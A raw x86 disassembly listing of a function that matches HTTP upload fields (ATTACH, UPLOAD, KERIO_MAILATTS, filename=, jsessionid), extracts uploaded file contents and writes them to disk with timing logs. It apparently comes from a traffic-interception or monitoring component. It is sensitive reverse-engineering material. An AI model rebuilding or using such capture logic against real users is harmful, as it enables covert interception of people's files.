lea ecx, [esp + 0x5c]
push ecx
call fcn.5900bc70
add esp, 4
lea ecx, [esp + 0x15c]
mov byte [esp + 0x16c], 0x24
call fcn.590a22e0
lea ecx, [esp + 0x10]
call fcn.590a34e0
cmp dword [esp + 0x110], 2
jae 0x59018f04
push str.ATTACH
lea ecx, [esp + 0x14]
call fcn.590a3460
cmp eax, 0xffffffff
jne 0x59018f56
push str.ATTACHFILE
lea ecx, [esp + 0x14]
call fcn.590a3460
cmp eax, 0xffffffff
jne 0x59018f56
push str.UPLOAD
lea ecx, [esp + 0x14]
call fcn.590a3460
cmp eax, 0xffffffff
jne 0x59018f56
push str.UPLOADER
lea ecx, [esp + 0x14]
call fcn.590a3460
cmp eax, 0xffffffff
jne 0x59018f56
push str.ATTH
lea ecx, [esp + 0x14]
call fcn.590a3460
cmp eax, 0xffffffff
jne 0x59018f56
push str.UPLOADFILENAME
lea ecx, [esp + 0x14]
call fcn.590a3460
cmp eax, 0xffffffff
jne 0x59018f56
push str.USERFILE
lea ecx, [esp + 0x14]
call fcn.590a3460
cmp eax, 0xffffffff
jne 0x59018f56
push str.ATTFILE
lea ecx, [esp + 0x14]
call fcn.590a3460
cmp eax, 0xffffffff
jne 0x59018f56
push str.FILE
lea ecx, [esp + 0x14]
call fcn.590a3460
cmp eax, 0xffffffff
jne 0x59018f56
push str.F_CATTCH
lea ecx, [esp + 0x14]
call fcn.590a3460
cmp eax, 0xffffffff
jne 0x59018f56
push str.NEWFILE
lea ecx, [esp + 0x14]
call fcn.590a3460
cmp eax, 0xffffffff
jne 0x59018f56
push str.LOCALATTACH
lea ecx, [esp + 0x14]
call fcn.590a3460
cmp eax, 0xffffffff
jne 0x59018f56
push str.ATTACHMENT
lea ecx, [esp + 0x14]
call fcn.590a3460
cmp eax, 0xffffffff
jne 0x59018f56
push str.UPFILE
lea ecx, [esp + 0x14]
call fcn.590a3460
cmp eax, 0xffffffff
jne 0x59018f56
push str.KERIO_MAILATTS
lea ecx, [esp + 0x14]
call fcn.590a3460
cmp eax, 0xffffffff
jne 0x59018f56
mov eax, dword [esp + 0x160]
test eax, eax
je 0x59018f27
mov edx, dword [esp + 0x1c]
push str.filename_
push edx
push esi
call fcn.5900f7b0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x59018f56
mov eax, dword [esp + 0x90]
test eax, eax
je 0x59019327
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x54]
push str.filename_
push eax
push ecx
call fcn.5900f7b0
add esp, 0xc
cmp eax, 0xffffffff
je 0x59019327
mov edx, dword [esp + 0x1c]
mov ebx, dword [esp + 0x54]
push str.filename_
push edx
push ebx
call fcn.5900f7b0
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x59019327
mov edi, str.filename_
or ecx, 0xffffffff
xor eax, eax
push 0x59189900
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x20]
not ecx
dec ecx
add esi, ecx
sub eax, esi
lea ebp, [ebx + esi]
push eax
push ebp
call fcn.5900f7b0
mov edi, eax
add esp, 0xc
cmp edi, 0xffffffff
je 0x59019327
push edi
push ebp
lea ecx, [esp + 0x68]
call fcn.590a1d90
mov ecx, dword [0x591638c0]
mov byte [esp + 0x16c], 0x2d
mov dword [esp + 0x48], ecx
push 0x5c
lea ecx, [esp + 0x64]
mov byte [esp + 0x170], 0x2e
call fcn.590a3430
mov ebp, eax
mov eax, dword [esp + 0xb0]
test eax, eax
mov eax, dword [esp + 0x60]
lea edx, [ebx + ebp]
lea esi, [edx + esi + 1]
je 0x5901900f
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901900f
push 0x4e3
push eax
lea ecx, [esp + 0x50]
call fcn.590abac0
jmp 0x5901910b
mov ecx, dword [esp + 0x94]
test ecx, ecx
jne 0x59019031
mov eax, edi
sub eax, ebp
dec eax
push eax
push esi
call fcn.5900acb0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x60]
je 0x5901904c
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901904c
push 0xfde9
push eax
lea ecx, [esp + 0x50]
call fcn.590abac0
jmp 0x5901910b
mov ecx, dword [esp + 0xa4]
test ecx, ecx
jne 0x5901906c
sub edi, ebp
dec edi
push edi
push esi
call fcn.5900b0d0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x60]
je 0x59019087
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59019087
push 0x2712
push eax
lea ecx, [esp + 0x50]
call fcn.590abac0
jmp 0x5901910b
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.5900ad70
add esp, 8
test eax, eax
mov eax, dword [esp + 0x60]
je 0x59019101
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59019101
push 1
push 0
push eax
call fcn.5900ae80
mov ebp, eax
lea edi, [ebp + ebp + 4]
push edi
call fcn.5913e1e0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x5901910b
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x68]
push eax
call fcn.5900ae80
add esp, 0xc
lea ecx, [esp + 0x48]
mov word [esi + ebp*2], 0
push esi
call fcn.590a78e0
push esi
call fcn.5913e209
add esp, 4
jmp 0x5901910b
push eax
lea ecx, [esp + 0x4c]
call fcn.590a79c0
mov ecx, dword [esp + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
je 0x59019305
lea edx, [esp + 0x48]
push edx
call fcn.5900bc70
add esp, 4
lea ecx, [esp + 0x48]
push 0x5c
call fcn.590a8810
inc eax
lea ecx, [esp + 0x48]
push eax
lea eax, [esp + 0x118]
push eax
call fcn.590a9950
mov ecx, dword [0x591638c0]
mov byte [esp + 0x16c], 0x2f
mov dword [esp + 0x14], ecx
push 0x2e
lea ecx, [esp + 0x118]
mov byte [esp + 0x170], 0x30
call fcn.590a8810
cmp eax, 0xffffffff
je 0x590191a8
inc eax
lea edx, [esp + 0x74]
push eax
push edx
lea ecx, [esp + 0x11c]
call fcn.590a9950
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x170], 0x31
call fcn.590a77f0
lea ecx, [esp + 0x74]
mov byte [esp + 0x16c], 0x30
call fcn.590a7660
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xac]
push eax
call fcn.590a1b80
lea ecx, [esp + 0xa8]
push 0x59189be8
push ecx
mov byte [esp + 0x174], 0x32
call fcn.590593f0
add esp, 8
push eax
lea ecx, [esp + 0x64]
mov byte [esp + 0x170], 0x33
call fcn.590a2460
lea ecx, [esp + 0xa8]
mov byte [esp + 0x16c], 0x32
call fcn.590a22e0
mov eax, dword [esp + 0x188]
test eax, eax
jne 0x59019248
mov edx, dword [esp + 0x60]
push 0x180
push 0x8101
push edx
call fcn.5908a6ad
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x590192cc
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x18]
sub eax, edi
add ebx, edi
push eax
push ebx
push esi
call fcn.5908a4bd
push esi
call fcn.5908a3dd
add esp, 0x10
jmp 0x5901924c
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x138]
sub eax, edi
push eax
push ecx
lea ecx, [esp + 0x13c]
call fcn.590b50a0
mov edx, dword [esp + 0x60]
lea ecx, [esp + 0x158]
push edx
call fcn.590a6d60
mov ecx, dword [esp + 0xbc]
lea eax, [esp + 0x158]
push eax
push ecx
lea ecx, [esp + 0xc0]
mov byte [esp + 0x174], 0x34
call fcn.590ad5f0
mov eax, dword [esp + 0x14c]
lea edx, [esp + 0x114]
push edx
push eax
lea ecx, [esp + 0x150]
call fcn.590ad5f0
lea ecx, [esp + 0x158]
mov byte [esp + 0x16c], 0x32
call fcn.590a7660
lea ecx, [esp + 0xac]
mov byte [esp + 0x16c], 0x30
call fcn.590a22e0
lea ecx, [esp + 0x14]
mov byte [esp + 0x16c], 0x2f
call fcn.590a7660
lea ecx, [esp + 0x114]
mov byte [esp + 0x16c], 0x2e
call fcn.590a7660
lea ecx, [esp + 0x48]
mov byte [esp + 0x16c], 0x2d
call fcn.590a7660
lea ecx, [esp + 0x60]
mov byte [esp + 0x16c], 0x24
call fcn.590a22e0
mov eax, dword [esp + 0x118]
test eax, eax
je 0x5901942e
mov ecx, dword [esp + 0x50]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x5901942e
mov edx, dword [esp + 0x10]
push str.jsessionid
push edx
call fcn.59089b37
add esp, 8
test eax, eax
jne 0x5901942e
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x54]
sub ecx, eax
add edx, eax
push ecx
push edx
lea ecx, [esp + 0x2c]
call fcn.590a1d90
push 0x5918a748
lea ecx, [esp + 0x28]
mov byte [esp + 0x170], 0x35
call fcn.590a3460
cmp eax, 0xffffffff
je 0x590193c7
push eax
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x2c]
call fcn.590a4900
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x170], 0x36
call fcn.590a2460
lea ecx, [esp + 0x34]
mov byte [esp + 0x16c], 0x35
call fcn.590a22e0
push ecx
lea edx, [esp + 0x28]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
call fcn.590a18b0
lea eax, [esp + 0x120]
mov byte [esp + 0x170], 0x35
push eax
call fcn.5900b260
add esp, 8
mov ecx, dword [esp + 0x11c]
mov byte [esp + 0x16c], 0x38
push ecx
lea ecx, [esp + 0x54]
call fcn.590a79c0
lea ecx, [esp + 0x11c]
mov byte [esp + 0x16c], 0x35
call fcn.590a22e0
lea ecx, [esp + 0x24]
mov byte [esp + 0x16c], 0x24
call fcn.590a22e0
mov ecx, dword [esp + 0x70]
lea edx, [esp + 0x1c]
lea eax, [esp + 0xa0]
push edx
mov edx, dword [esp + 0x8c]
push eax
mov eax, dword [esp + 0x180]
push ecx
mov ecx, dword [esp + 0x180]
push edx
push eax
push ecx
call fcn.5900d4b0
add esp, 0x18
lea ecx, [esp + 0x10]
mov dword [esp + 0x54], eax
mov byte [esp + 0x16c], 0x23
call fcn.590a22e0
mov ebp, dword [esp + 0x174]
mov ebx, dword [esp + 0x178]
mov esi, dword [esp + 0x88]
mov edi, dword [esp + 0x54]
test edi, edi
jne 0x59017a5a
mov edx, dword [esp + 0x64]
mov eax, dword [edx - 8]
test eax, eax
je 0x590194d8
lea eax, [esp + 0x64]
push 0x59189aac
lea ecx, [esp + 0x38]
push eax
push ecx
call fcn.590a7dd0
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0x170], 0x39
call fcn.590a8310
lea ecx, [esp + 0x34]
mov byte [esp + 0x16c], 0x23
call fcn.590a7660
mov eax, dword [esp + 0xb4]
test eax, eax
mov eax, dword [esp + 0x20]
je 0x59019500
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x59019500
push 0x591aefdc
lea ecx, [esp + 0x24]
call fcn.590a77f0
mov eax, dword [esp + 0x20]
mov edi, dword [esp + 0x4c]
test edi, edi
je 0x59019521
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x59019521
push 0x591aefd8
lea ecx, [esp + 0x24]
call fcn.590a77f0
mov eax, dword [esp + 0x20]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901955d
xor esi, esi
test ecx, ecx
jle 0x5901954f
mov ax, word [eax + esi*2]
push eax
call fcn.5908abf0
add esp, 4
test eax, eax
je 0x5901954b
mov eax, dword [esp + 0x20]
inc esi
cmp esi, dword [eax - 8]
jl 0x5901952e
jmp 0x5901954f
mov eax, dword [esp + 0x20]
cmp esi, dword [eax - 8]
jne 0x5901955d
lea ecx, [esp + 0x20]
call fcn.590a73d0
mov edx, dword [esp + 0x28]
mov ecx, dword [edx - 8]
mov edx, dword [esp + 0x58]
test ecx, ecx
jne 0x590197f4
mov eax, dword [esp + 0x38]
test eax, eax
je 0x59019583
mov eax, dword [esp + 0x68]
mov esi, dword [eax - 8]
test esi, esi
jne 0x59019596
test edi, edi
je 0x590197f4
mov eax, dword [edx - 8]
test eax, eax
je 0x590197f4
mov eax, dword [0x591af014]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
dec eax
test eax, eax
jl 0x590195ae
lea esi, [eax + 1]
call ebx
dec esi
jne 0x590195a9
mov eax, dword [esp + 0xbc]
xor edi, edi
test eax, eax
jle 0x5901a75c
mov ebp, dword [esp + 0x184]
mov eax, dword [0x591638c0]
mov dword [esp + 0xd4], eax
mov byte [esp + 0x16c], 0x3e
mov dword [esp + 0xd8], eax
mov byte [esp + 0x16c], 0x3f
mov dword [esp + 0xdc], eax
mov ecx, dword [0x591638bc]
mov byte [esp + 0x16c], 0x40
mov dword [esp + 0xf0], ecx
mov eax, dword [esp + 0x38]
mov byte [esp + 0x16c], 0x42
test eax, eax
je 0x59019627
lea edx, [esp + 0x68]
mov dword [esp + 0xc8], 1
push edx
jmp 0x5901963f
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x5901964b
lea eax, [esp + 0x58]
mov dword [esp + 0xc8], 2
push eax
lea ecx, [esp + 0xd8]
call fcn.590a77f0
call ebx
mov ecx, dword [esp + 0xb8]
mov dword [esp + 0xcc], eax
lea edx, [ecx + edi*4]
lea ecx, [esp + 0xdc]
push edx
call fcn.590a77f0
mov eax, dword [esp + 0x148]
lea ecx, [eax + edi*4]
push ecx
lea ecx, [esp + 0xdc]
call fcn.590a77f0
mov edx, dword [esp + 0x134]
xor ecx, ecx
test ebp, ebp
mov eax, dword [edx + edi*4]
mov dword [esp + 0xe0], ecx
mov dword [esp + 0xe4], ecx
mov dword [esp + 0xd0], eax
mov dword [esp + 0xe8], ecx
mov dword [esp + 0xec], ecx
je 0x590196de
mov edx, ebp
mov eax, dword [edx]
mov dword [esp + 0xe0], eax
mov ecx, dword [edx + 4]
mov dword [esp + 0xe4], ecx
mov eax, dword [edx + 8]
mov dword [esp + 0xe8], eax
mov ecx, dword [edx + 0xc]
mov dword [esp + 0xec], ecx
mov esi, dword [0x591af014]
cmp esi, esi
jl 0x590196f8
lea edx, [esi + 1]
push 0xffffffffffffffff
push edx
mov ecx, 0x591af010
call fcn.59060df0
mov edx, dword [0x591af010]
lea eax, [esi + esi*4]
lea ecx, [esi + eax*2]
mov eax, dword [esp + 0xc8]
lea esi, [edx + ecx*4]
mov dword [esi], eax
mov ecx, dword [esp + 0xcc]
mov dword [esi + 4], ecx
mov edx, dword [esp + 0xd0]
lea eax, [esp + 0xd4]
lea ecx, [esi + 0xc]
push eax
mov dword [esi + 8], edx
call fcn.590a77f0
lea ecx, [esp + 0xd8]
push ecx
lea ecx, [esi + 0x10]
call fcn.590a77f0
lea edx, [esp + 0xdc]
lea ecx, [esi + 0x14]
push edx
call fcn.590a77f0
mov ecx, dword [esp + 0xe0]
lea eax, [esi + 0x18]
mov dword [esi + 0x18], ecx
mov edx, dword [esp + 0xe4]
mov dword [eax + 4], edx
mov ecx, dword [esp + 0xe8]
mov dword [eax + 8], ecx
mov edx, dword [esp + 0xec]
lea ecx, [esi + 0x28]
mov dword [eax + 0xc], edx
lea eax, [esp + 0xf0]
push eax
call fcn.590a2460
lea ecx, [esp + 0xf0]
mov byte [esp + 0x16c], 0x45
call fcn.590a22e0
lea ecx, [esp + 0xdc]
mov byte [esp + 0x16c], 0x44
call fcn.590a7660
lea ecx, [esp + 0xd8]
mov byte [esp + 0x16c], 0x43
call fcn.590a7660
lea ecx, [esp + 0xd4]
mov byte [esp + 0x16c], 0x23
call fcn.590a7660
mov eax, dword [esp + 0xbc]
inc edi
cmp edi, eax
jl 0x590195c6
jmp 0x5901a75c
cmp dword [esp + 0x110], 2
jae 0x5901a75c
mov eax, dword [esp + 0x3c]
mov esi, dword [eax - 8]
test esi, esi
jne 0x59019841
mov eax, dword [esp + 0x44]
mov esi, dword [eax - 8]
test esi, esi
jne 0x59019841
mov eax, dword [esp + 0x2c]
mov esi, dword [eax - 8]
test esi, esi
jne 0x59019841
test ecx, ecx
jne 0x59019841
mov eax, dword [esp + 0xbc]
test eax, eax
jne 0x59019841
mov eax, dword [esp + 0x40]
mov esi, dword [eax - 8]
test esi, esi
je 0x5901a75c
mov eax, dword [esp + 0x188]
test eax, eax
je 0x59019857
mov dword [eax], 1
jmp 0x5901a75c
test ecx, ecx
je 0x59019afa
mov eax, dword [edx - 8]
test eax, eax
je 0x59019afa
test edi, edi
je 0x59019afa
mov ecx, dword [0x591af014]
lea edi, [ecx - 1]
test edi, edi
mov dword [esp + 0x4c], edi
jl 0x5901995a
lea edx, [edi + edi*4]
lea ebx, [edi + edx*2]
shl ebx, 2
mov eax, dword [0x591af010]
lea esi, [ebx + eax]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 4]
cmp eax, 0x927c0
jbe 0x5901994a
mov ebp, dword [0x591af014]
mov ecx, dword [esp + 0x4c]
sub ebp, ecx
mov ecx, dword [0x591af010]
dec ebp
xor edi, edi
lea esi, [ebx + ecx]
mov dword [esp + 0x34], esi
lea ecx, [esi + 0x28]
mov byte [esp + 0x16c], 0x49
call fcn.590a22e0
lea ecx, [esi + 0x14]
mov byte [esp + 0x16c], 0x48
call fcn.590a7660
lea ecx, [esi + 0x10]
mov byte [esp + 0x16c], 0x47
call fcn.590a7660
lea ecx, [esi + 0xc]
mov byte [esp + 0x16c], 0x23
call fcn.590a7660
add esi, 0x2c
mov edx, edi
dec edi
mov dword [esp + 0x34], esi
test edx, edx
jne 0x590198c8
test ebp, ebp
je 0x5901993b
lea eax, [ebp + ebp*4]
lea ecx, [ebp + eax*2]
mov eax, dword [0x591af010]
shl ecx, 2
lea edx, [ebx + eax + 0x2c]
push ecx
add eax, ebx
push edx
push eax
call fcn.5908a070
add esp, 0xc
mov eax, dword [0x591af014]
mov edi, dword [esp + 0x4c]
dec eax
mov dword [0x591af014], eax
dec edi
sub ebx, 0x2c
test edi, edi
mov dword [esp + 0x4c], edi
jge 0x59019890
mov ecx, dword [0x591af014]
lea esi, [ecx - 1]
test esi, esi
mov dword [esp + 0x4c], esi
jl 0x59019afa
lea edx, [esi + esi*4]
lea edi, [esi + edx*2]
shl edi, 2
mov eax, dword [0x591af010]
cmp dword [edi + eax], 2
jne 0x59019aea
mov ecx, dword [esp + 0x58]
mov edx, dword [edi + eax + 0xc]
push ecx
push edx
call fcn.59089e1c
add esp, 8
test eax, eax
jne 0x59019aea
mov eax, dword [0x591af010]
lea ecx, [edi + eax + 0x14]
push ecx
lea ecx, [esp + 0x38]
call fcn.590a6c60
mov edx, dword [esp + 0xbc]
push eax
push edx
lea ecx, [esp + 0xc0]
mov byte [esp + 0x174], 0x4b
call fcn.590ad5f0
lea ecx, [esp + 0x34]
mov byte [esp + 0x16c], 0x23
call fcn.590a7660
mov eax, dword [0x591af010]
lea ecx, [edi + eax + 0x10]
push ecx
lea ecx, [esp + 0xb0]
call fcn.590a6c60
mov edx, dword [esp + 0x14c]
push eax
push edx
lea ecx, [esp + 0x150]
mov byte [esp + 0x174], 0x4c
call fcn.590ad5f0
lea ecx, [esp + 0xac]
mov byte [esp + 0x16c], 0x23
call fcn.590a7660
mov eax, dword [0x591af010]
mov ecx, dword [esp + 0x138]
mov eax, dword [edi + eax + 8]
push eax
push ecx
lea ecx, [esp + 0x13c]
call fcn.590b50a0
mov ebx, dword [0x591af014]
mov ecx, dword [esp + 0x4c]
mov edx, dword [0x591af010]
sub ebx, ecx
dec ebx
xor ebp, ebp
lea esi, [edi + edx]
mov dword [esp + 0xa8], esi
lea ecx, [esi + 0x28]
mov byte [esp + 0x16c], 0x4f
call fcn.590a22e0
lea ecx, [esi + 0x14]
mov byte [esp + 0x16c], 0x4e
call fcn.590a7660
lea ecx, [esi + 0x10]
mov byte [esp + 0x16c], 0x4d
call fcn.590a7660
lea ecx, [esi + 0xc]
mov byte [esp + 0x16c], 0x23
call fcn.590a7660
add esi, 0x2c
mov eax, ebp
dec ebp
mov dword [esp + 0xa8], esi
test eax, eax
jne 0x59019a66
test ebx, ebx
je 0x59019adb
mov eax, dword [0x591af010]
lea ecx, [ebx + ebx*4]
lea edx, [ebx + ecx*2]
lea ecx, [edi + eax + 0x2c]
shl edx, 2
push edx
lea edx, [edi + eax]
push ecx
push edx
call fcn.5908a070
add esp, 0xc
mov eax, dword [0x591af014]
mov esi, dword [esp + 0x4c]
dec eax
mov dword [0x591af014], eax
dec esi
sub edi, 0x2c
test esi, esi
mov dword [esp + 0x4c], esi
jge 0x59019978
mov eax, dword [0x591638c0]
mov dword [esp + 0x9c], eax
mov byte [esp + 0x16c], 0x51
mov dword [esp + 0x8c], eax
mov eax, dword [esp + 0x118]
mov byte [esp + 0x16c], 0x52
test eax, eax
je 0x59019b42
lea eax, [esp + 0x50]
lea ecx, [esp + 0x8c]
push eax
call fcn.590a77f0
mov ebp, dword [esp + 0x130]
jmp 0x59019ba3
mov edi, 0x5918a2d4
or ecx, 0xffffffff
xor eax, eax
mov ebp, dword [esp + 0x130]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x9c]
push 0x5918a2d4
push ecx
push ebp
call fcn.5900d550
mov esi, eax
add esp, 0x10
cmp esi, 0xffffffff
je 0x59019ba3
push 1
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x591ae140
call fcn.590a19b0
lea edx, [esp + 0x94]
mov byte [esp + 0x174], 0x52
push edx
push esi
push ebp
call fcn.59024cf0
add esp, 0x14
mov eax, dword [esp + 0x3c]
mov edi, dword [esp + 0x180]
mov ecx, dword [eax - 8]
mov eax, dword [esp + 0xbc]
test ecx, ecx
jne 0x5901a418
mov ecx, dword [esp + 0x44]
mov edx, dword [ecx - 8]
test edx, edx
jne 0x5901a418
mov edx, dword [esp + 0x40]
mov ecx, dword [edx - 8]
test ecx, ecx
jne 0x5901a418
mov ecx, dword [esp + 0x2c]
mov edx, dword [ecx - 8]
test edx, edx
jne 0x5901a418
mov edx, dword [esp + 0x28]
mov ecx, dword [edx - 8]
test ecx, ecx
jne 0x5901a418
test eax, eax
je 0x5901a420
test edi, edi
je 0x5901a418
xor ebx, ebx
test eax, eax
jle 0x5901a734
jmp 0x59019c1f
mov edi, dword [esp + 0x180]
mov eax, dword [0x591638c0]
mov ebp, dword [esp + 0x98]
mov dword [esp + 0xe4], eax
mov byte [esp + 0x16c], 0x54
mov dword [esp + 0xe8], eax
mov byte [esp + 0x16c], 0x55
mov dword [esp + 0xec], eax
mov ecx, dword [0x591638bc]
mov byte [esp + 0x16c], 0x56
mov dword [esp + 0xf4], ecx
mov byte [esp + 0x16c], 0x57
mov dword [esp + 0x10c], eax
mov edx, dword [esp + 0x17c]
lea eax, [esp + 0x8c]
mov byte [esp + 0x16c], 0x59
push eax
lea ecx, [esp + 0xe8]
mov dword [esp + 0xcc], edx
call fcn.590a77f0
mov ecx, dword [edi]
mov dword [esp + 0xcc], ecx
mov edx, dword [edi + 4]
mov dword [esp + 0xd0], edx
mov eax, dword [edi + 8]
mov dword [esp + 0xd4], eax
mov ecx, dword [edi + 0xc]
lea edx, [esp + 0xdc]
mov dword [esp + 0xd8], ecx
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [esp + 0xb8]
lea ecx, [eax + ebx*4]
push ecx
lea ecx, [esp + 0x94]
call fcn.590a6c60
push 0x5c
lea ecx, [esp + 0x94]
mov byte [esp + 0x170], 0x5a
call fcn.590a8810
inc eax
lea edx, [esp + 0xb4]
push eax
push edx
lea ecx, [esp + 0x98]
call fcn.590a9950
lea eax, [esp + 0xac]
mov byte [esp + 0x16c], 0x5b
push eax
call fcn.5900d660
add esp, 4
mov eax, dword [eax]
lea ecx, [esp + 0x34]
push eax
mov byte [esp + 0x170], 0x5c
call fcn.590a6d60
lea ecx, [esp + 0xb4]
lea edx, [esp + 0x24]
push ecx
push eax
push edx
mov byte [esp + 0x178], 0x5d
call fcn.590a7c00
lea ecx, [esp + 0x34]
mov byte [esp + 0x16c], 0x60
call fcn.590a7660
lea ecx, [esp + 0xac]
mov byte [esp + 0x16c], 0x5f
call fcn.590a22e0
mov eax, dword [esp + 0xb8]
mov ecx, dword [esp + 0x24]
push 3
push ecx
mov eax, dword [eax + ebx*4]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea edx, [esp + 0x24]
lea ecx, [esp + 0xec]
push edx
call fcn.590a77f0
push 0x2e
lea ecx, [esp + 0x28]
call fcn.590a8810
push eax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x2c]
call fcn.590a9da0
push 0x5918a4a0
lea ecx, [esp + 0x18]
mov byte [esp + 0x170], 0x61
call fcn.590a82b0
mov ecx, dword [esp + 0x148]
lea edx, [ecx + ebx*4]
lea ecx, [esp + 0xe8]
push edx
call fcn.590a77f0
mov eax, dword [esp + 0x134]
mov edx, dword [esp + 0x14]
push edx
mov ecx, dword [eax + ebx*4]
mov dword [esp + 0xf4], ecx
lea ecx, [esp + 0xac]
call fcn.590a1b80
push eax
lea ecx, [esp + 0xf8]
mov byte [esp + 0x170], 0x62
call fcn.590a2460
lea ecx, [esp + 0xa8]
mov byte [esp + 0x16c], 0x61
call fcn.590a22e0
mov eax, dword [esp + 0xf4]
push 0x180
push 0x8101
push eax
call fcn.5908a6ad
mov ecx, dword [0x591638bc]
add esp, 0xc
mov esi, eax
mov dword [esp + 0x70], ecx
cmp esi, 0xffffffff
mov byte [esp + 0x16c], 0x63
je 0x59019edc
mov edx, dword [esp + 0x130]
push ebp
push edx
push esi
call fcn.5908a4bd
mov eax, dword [esp + 0xec]
mov ecx, dword [esp + 0xe8]
mov edx, dword [edi + 0xc]
add esp, 0xc
push eax
mov eax, dword [edi + 8]
push ecx
mov ecx, dword [edi + 4]
push edx
mov edx, dword [edi]
push eax
push ecx
push edx
lea eax, [esp + 0x88]
push str._r_n_r_nliTickBegin:_I64u__liTickEnd:_I64u__liTickRecord:_I64u
push eax
call fcn.590a5140
mov ecx, dword [esp + 0x90]
add esp, 0x20
mov eax, dword [ecx - 8]
lea ecx, [esp + 0x70]
push eax
push 0
call fcn.590a2f70
push eax
push esi
call fcn.5908a4bd
push esi
call fcn.5908a3dd
add esp, 0x10
mov edx, dword [esp + 0x70]
mov ecx, dword [0x591af024]
mov eax, dword [edx - 8]
add eax, ebp
mov dword [esp + 0xf8], eax
mov eax, ecx
cmp eax, ecx
mov dword [esp + 0x38], eax
jl 0x5901a28c
lea ebp, [eax + 1]
xor edi, edi
cmp ebp, edi
jne 0x59019fa4
mov esi, dword [0x591af020]
cmp esi, edi
je 0x59019f93
mov edx, ecx
dec ecx
test edx, edx
mov dword [esp + 0x74], esi
je 0x59019f7f
lea ebp, [ecx + 1]
lea ecx, [esi + 0x44]
mov byte [esp + 0x16c], 0x67
call fcn.590a7660
lea ecx, [esi + 0x2c]
mov byte [esp + 0x16c], 0x66
call fcn.590a22e0
lea ecx, [esi + 0x24]
mov byte [esp + 0x16c], 0x65
call fcn.590a7660
lea ecx, [esi + 0x20]
mov byte [esp + 0x16c], 0x64
call fcn.590a7660
lea ecx, [esi + 0x1c]
mov byte [esp + 0x16c], 0x63
call fcn.590a7660
add esi, 0x48
dec ebp
mov dword [esp + 0x74], esi
jne 0x59019f25
mov eax, dword [0x591af020]
push eax
call fcn.5913e209
add esp, 4
mov dword [0x591af020], edi
mov dword [0x591af028], edi
mov dword [0x591af024], edi
jmp 0x5901a28c
mov edx, dword [0x591af020]
cmp edx, edi
jne 0x5901a021
lea edi, [ebp + ebp*8]
shl edi, 3
push edi
call fcn.5913e1e0
mov ecx, edi
mov esi, eax
mov edx, ecx
xor eax, eax
mov edi, esi
mov dword [0x591af020], esi
shr ecx, 2
mov dword [esp + 0x78], esi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea edi, [ebp]
mov dword [esp + 0x84], esi
test esi, esi
mov byte [esp + 0x16c], 0x69
je 0x59019ffb
mov ecx, esi
call fcn.590134e0
add esi, 0x48
mov byte [esp + 0x16c], 0x63
dec edi
mov dword [esp + 0x74], esi
jne 0x59019fe1
mov eax, dword [esp + 0x38]
inc eax
mov dword [0x591af028], eax
mov dword [0x591af024], eax
jmp 0x5901a28c
mov esi, dword [0x591af028]
cmp ebp, esi
jg 0x5901a178
cmp ecx, ebp
jge 0x5901a0f6
mov esi, ebp
xor eax, eax
sub esi, ecx
lea ecx, [ecx + ecx*8]
lea edx, [edx + ecx*8]
lea ecx, [esi + esi*8]
shl ecx, 3
mov ebp, ecx
mov edi, edx
shr ecx, 2
mov dword [esp + 0x74], edx
rep stosd dword es:[edi], eax
mov ecx, ebp
and ecx, 3
rep stosb byte es:[edi], al
mov eax, esi
dec esi
test eax, eax
je 0x5901a169
lea ecx, [esi + 1]
mov eax, edx
mov dword [esp + 0x84], eax
test edx, edx
mov byte [esp + 0x16c], 0x6a
je 0x5901a0d5
mov esi, dword [0x591638c0]
mov dword [edx + 0x1c], esi
mov esi, dword [0x591638c0]
mov byte [esp + 0x16c], 0x6b
mov dword [eax + 0x20], esi
mov esi, dword [0x591638c0]
mov byte [esp + 0x16c], 0x6c
mov dword [eax + 0x24], esi
mov esi, dword [0x591638bc]
mov byte [esp + 0x16c], 0x6d
mov dword [eax + 0x2c], esi
mov esi, dword [0x591638c0]
mov byte [esp + 0x16c], 0x6e
mov dword [eax + 0x44], esi
mov byte [esp + 0x16c], 0x6a
add edx, 0x48
mov byte [esp + 0x16c], 0x63
dec ecx
mov dword [esp + 0x74], edx
jne 0x5901a06b
mov eax, dword [esp + 0x38]
